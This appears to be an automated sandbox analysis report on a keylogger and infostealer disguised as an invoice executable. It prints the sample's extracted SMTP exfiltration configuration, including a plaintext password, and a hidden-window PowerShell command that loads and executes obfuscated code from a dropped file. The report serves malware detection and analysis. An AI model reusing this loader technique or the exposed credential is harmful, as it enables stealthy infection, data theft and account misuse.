Analysis
- max time kernel
0s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
24/10/2024, 09:54
General
- Target REVISED INVOICE.exe
- Size 983KB
- Sample241024-lxdrrssala
- SHA256 d2320e5704e90bc713c59a0521bacf04ca5751c2481e1dd4e3a95494981d867c
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.fr
-
Port
587
-
Username
-
Password
Jc.2o3o@
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in Windows directory 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes
-
C:\Users\Admin\AppData\Local\Temp\REVISED INVOICE.exe"C:\Users\Admin\AppData\Local\Temp\REVISED INVOICE.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Funktionserklringen=Get-Content -raw 'C:\Users\Admin\AppData\Local\fona\Kvit\Hyperclimax.Com';$Longers=$Funktionserklringen.SubString(56921,3);.$Longers($Funktionserklringen)"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4i0kov0g.dsx.ps1
Hyperclimax.Com
Smudgeproof.Spe
depoh.lnk
memory/3080-248-0x0000000024B50000-0x0000000024BE2000-memory.dmp
memory/3080-249-0x0000000024B00000-0x0000000024B0A000-memory.dmp
memory/3080-246-0x0000000024A50000-0x0000000024AA0000-memory.dmp
memory/3080-245-0x0000000025200000-0x00000000253C2000-memory.dmp
memory/3080-242-0x0000000000CA0000-0x0000000000CE8000-memory.dmp
memory/3080-241-0x0000000000CA0000-0x0000000001EF4000-memory.dmp
memory/3080-243-0x0000000024580000-0x000000002461C000-memory.dmp
memory/4372-214-0x00000000077B0000-0x00000000077DA000-memory.dmp
memory/4372-196-0x0000000007600000-0x0000000007632000-memory.dmp
memory/4372-192-0x0000000006730000-0x0000000006752000-memory.dmp
memory/4372-193-0x0000000007810000-0x0000000007DB4000-memory.dmp
memory/4372-188-0x00000000061C0000-0x00000000061DE000-memory.dmp
memory/4372-191-0x00000000066E0000-0x00000000066FA000-memory.dmp
memory/4372-190-0x0000000007170000-0x0000000007206000-memory.dmp
memory/4372-195-0x0000000008440000-0x0000000008ABA000-memory.dmp
memory/4372-197-0x0000000070770000-0x00000000707BC000-memory.dmp
memory/4372-210-0x0000000007670000-0x0000000007713000-memory.dmp
memory/4372-211-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-212-0x0000000007770000-0x000000000777A000-memory.dmp
memory/4372-215-0x00000000077E0000-0x0000000007804000-memory.dmp
memory/4372-177-0x0000000005320000-0x0000000005386000-memory.dmp
memory/4372-213-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-209-0x0000000007640000-0x000000000765E000-memory.dmp
memory/4372-199-0x0000000070D20000-0x0000000071074000-memory.dmp
memory/4372-216-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-198-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-189-0x00000000065D0000-0x000000000661C000-memory.dmp
memory/4372-218-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-187-0x0000000005B90000-0x0000000005EE4000-memory.dmp
memory/4372-220-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-221-0x00000000742FE000-0x00000000742FF000-memory.dmp
memory/4372-222-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-223-0x0000000008AC0000-0x000000000D137000-memory.dmp
memory/4372-224-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-225-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-226-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-228-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-176-0x00000000052B0000-0x0000000005316000-memory.dmp
memory/4372-175-0x0000000005210000-0x0000000005232000-memory.dmp
memory/4372-173-0x00000000053A0000-0x00000000059C8000-memory.dmp
memory/4372-174-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-172-0x00000000742F0000-0x0000000074AA0000-memory.dmp
memory/4372-171-0x0000000004C10000-0x0000000004C46000-memory.dmp
memory/4372-170-0x00000000742FE000-0x00000000742FF000-memory.dmp